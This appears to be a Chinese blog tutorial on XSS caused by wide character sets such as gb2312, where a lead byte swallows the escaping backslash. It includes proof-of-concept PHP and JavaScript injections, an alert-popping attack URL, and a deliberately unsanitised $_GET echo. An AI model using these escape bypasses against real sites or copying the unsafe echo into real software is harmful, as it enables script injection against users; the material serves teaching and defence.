`
carge
  • 浏览: 51879 次
最近访客 更多访客>>
文章分类
社区版块
存档分类
最新评论

Web应用中的安全漏洞

 
阅读更多

 

 

1、【字符导致的XSS】

    Web程序输出页面时会指定(或使用默认的)一个字符集,告诉浏览器如何处理返回的数据,常见字符集有utf-8,GBK,gb2312等等。经证明,IE、Chrome、FF等在处理宽字符集(如gb2312,GBK)时存在问题,可导致一些安全规则被Bypass掉,引发XSS安全漏洞。

      浏览器在解析一个新字符时,首先读取一个字节,如果该字节(Valid字节,V字节,我暂且这样称呼)是指定字符集里的某个字符(该字符至少有由两个字节组成)第一个字节时,则试图用该字节和其后续字节构成一个合法的字符,如果组合成功则输出该字符,不成功则尽量显示一个合理字符。

     在攻击时,攻击者可把一个字符拆分成若干个字节,然后把这一个字节和其它字符一起发送到服务器端,如果这个字节可以和其它字符的字节构成一个字符,这样该字节就吃掉了后面的字符。处理不慎就会导致XSS等安全漏洞。

     例如:

     JavaScript中常用双引号“"”做为字符串的分界符。为防止XSS、SQLI等攻击时,对于从客户端输入到服务器端的双引号,我们会用反斜杠来转义。考虑攻击,如果客户端的输入串中在一个V字节后紧跟一个双引号,到服务器端时,我们会给双引号添加一个反斜杠;这些内容下次发送给浏览器时,浏览器会把V字节和后面的反斜杠解析为一个字符,即V字节吃掉了反斜杠,我们以前的安全处理失效;这样程序就会出现问题。

    请看下面的例子:

示例一:

PHP页面:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>字符导致的XSS</title>
</head>
<body>
<script language="javascript">
function callback(o){
//do nothing
}
callback({"userInput":"normal"});//正常输入
callback({"userInput":"<?php echo substr('我',0,1);?>\"});alert(0);//"});//攻击性输入
callback({"userInput":"<?php echo substr('我',0,2);?>\"});alert(1);//"});//攻击性输入
callback({'userInput':'<?php echo chr(0xC1);?>\'});alert(2);//'});//攻击性输入
</script>
</body>
</html> 

 

PHP页面输出:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>字符导致的XSS</title>
</head>
<body>
<script language="javascript">
function callback(o){
//do nothing
}
callback({"userInput":"normal"});//正常输入
callback({"userInput":"蝄"});alert(0);//"});//攻击性输入
callback({"userInput":"我\"});alert(1);//"});//攻击性输入
callback({'userInput':'羂'});alert(2);//'});//攻击性输入
</script>
</body>
</html> 

 说明:

1.userInput对应的值为用户输入的值;

2.为了解释我们用PHP来截断输出字符中的字节;

3.从程序输出可以看出“我”的第一个字节和表示反斜杠的字节被浏览器识别为“襖”字,从而V字节吃掉了反斜杠

4.meta中指定的 charset=utf-8为时,不会出现上述问题;但是用户强制在页面上把编码转换为gb2312时又会出现该问题。

 

示例二:如何输入半个字符?

PHP页面http://localhost/test2.php

 

<script language="javascript">
var callback = "<?=($_GET["callback"])?>";
</script>

 

在浏览器中输入如下URL:

 

http://localhost/test2.php?callback=%E6";alert%28/XSS/%29;//"

回车,页面输出如下HTML,并弹出alert框“ /XSS/ ”,说明存在XSS漏洞。

 

<script language="javascript">
var callback = "鎈";alert(/XSS/);//\"";
</script>

说明:

(1) PHP中会对所有双引号添加反斜杠来转义,根据输入URL的最后一个双引号的输出结果可看出。

(2) 本来对callback=%E6" 中的双引号也添加有一个反斜杠, 但是%E6(“我”字第一个字节的URL编码)和%5C能构成一个字符“”,所以输出时,%E6就吃掉了后面的双引号。从而导致XSS漏洞


 

分享到:
评论

相关推荐

    Web应用安全漏洞分析

    首先,Web应用安全漏洞按照风险程度分为高、中、低三个等级。高风险漏洞可能允许攻击者完全控制受影响的系统,而低风险漏洞可能仅导致有限的信息泄露或影响系统性能。安全测试漏洞分布通常会体现在应用的不同层面,...

    Web 应用程序安全框架漏洞类别及防范

    在实践中,Web 应用程序安全框架漏洞类别及防范需要从多方面入手,包括输入和数据验证、身份验证、授权、配置管理、敏感数据、会话管理、加密、参数操作、异常管理、审核与记录等几个方面。只有从多方面入手,才能...

    Web 应用安全漏洞原理及测试技术

    本篇将详细解析Web应用安全漏洞的原理及测试方法,主要涉及SQL注入、任意文件上传、任意文件下载、文件包含、跨站脚本(XSS)攻击、跨站请求伪造(CSRF)以及逻辑漏洞。 首先,SQL注入漏洞是Web应用中最常见也是...

    信息安全技术Web应用安全检测系统安全技术要求和测试评价方法.pdf

    Web应用安全检测可以帮助开发者和测试人员发现Web应用程序中的安全漏洞,并对其进行修复和改进。 7. Web应用安全检测的工具和技术:Web应用安全检测可以使用多种工具和技术,例如Burp Suite、ZAP、OWASP Zed Attack...

    Burp Suite XSS测试实战:深入挖掘Web应用的安全漏洞

    Burp Suite是一款强大的Web应用安全测试工具,它提供了一系列的功能来帮助安全专家和开发者发现和修复Web应用中的安全漏洞,包括跨站脚本(XSS)攻击。XSS攻击允许攻击者将恶意脚本注入到网页中,影响其他用户的...

    Web应用SQL注入漏洞检测工具的设计与实现.pdf

    这种攻击方式的隐蔽性高,通常防火墙等安全设备无法检测到,因此对Web应用安全构成了严重威胁。 为了降低系统遭受攻击的风险,提高Web应用的安全性,开发有效的Web安全防护手段显得尤为重要。Web应用SQL注入漏洞...

    Web应用架构与安全漏洞基础教程

    对于Web应用安全性,则深入浅出地介绍了SQL注入、跨站脚本攻击等常见攻击手段及其预防措施。另外,还包括关于HTTP请求与响应流程的数据包分析内容。 适合人群:面向想要全面掌握 Web 开发技能的技术爱好者或者刚刚入...

    web安全常见漏洞浅析

    在 Web 业务逻辑中,存在许多安全漏洞,例如越权删除、修改、获取;支付逻辑等。 二、应用逻辑漏洞 应用逻辑漏洞是指在 Web 应用程序中,由于设计不当或实现不当引发的一些漏洞,例如验证码缺陷、越权、加密脆弱、...

    ASP.NET Web应用程序常见网络安全漏洞解决方案分析.pdf

    本文将深入探讨*** Web应用程序中常见的网络安全漏洞,并提供相应的解决方案。 首先,跨站点脚本攻击(XSS)是Web应用中最普遍和最危险的漏洞之一。XSS攻击者通常会将恶意的JavaScript代码注入到网站页面中,当其他...

    SDL web安全

    搜狐SDL流程与Web应用安全运营实践强调了安全开发对于减少Web应用中安全漏洞的重要性。它确保了在整个开发周期中安全性和隐私性的考量,并在各个环节中采取了相应的安全措施。通过这种实践,搜狐能够更有效地响应和...

    软件工程中的Web应用安全与漏洞扫描策略.pptx

    #### 第二章:Web应用安全漏洞的分析 - **常见的Web应用安全漏洞**: - **数据存储安全问题**:如明文存储密码。 - **SQL注入漏洞**:通过修改SQL查询语句非法访问数据。 - **跨站脚本漏洞**:使攻击者能够在...

    Web应用安全开发规范.doc

    Web应用安全开发规范是针对当前互联网环境中Web应用面临的安全威胁而制定的一套详细的指导原则。随着Web技术的快速发展,黑客攻击手段不断升级,Web安全问题变得尤为重要。许多开发者由于缺乏安全意识,导致开发出的...

    Web应用漏洞分析及防御解决方案研究

    Web应用安全是网络安全的重要组成部分,随着Web技术的普及,其面临的威胁也在不断增加。通过深入理解Web应用漏洞及其影响,结合有效的防御策略,可以显著提高Web应用的安全性。开发人员应关注代码安全性,运维人员则...

    堵住十大安全漏洞 避免Web应用程序的安全风险

    ### 堵住十大安全漏洞避免Web应用程序的安全风险 随着信息技术的发展,Web应用程序因其灵活性和易用性成为了许多企业的首选。然而,随着Web应用程序数量的增长,相应的安全问题也日益凸显。为了帮助企业及其开发者...

    WEB安全-注入漏洞

    SQL注入是一种Web应用代码中的漏洞。 黑客可以构造特殊请求,使Web应用执行带有附加条件的SQL语句 用户请求中带有参数的值,没有进行任何过滤 用户请求中带有参数的值,没有进行任何转码 通过特殊的请求,Web应用向...

Global site tag (gtag.js) - Google Analytics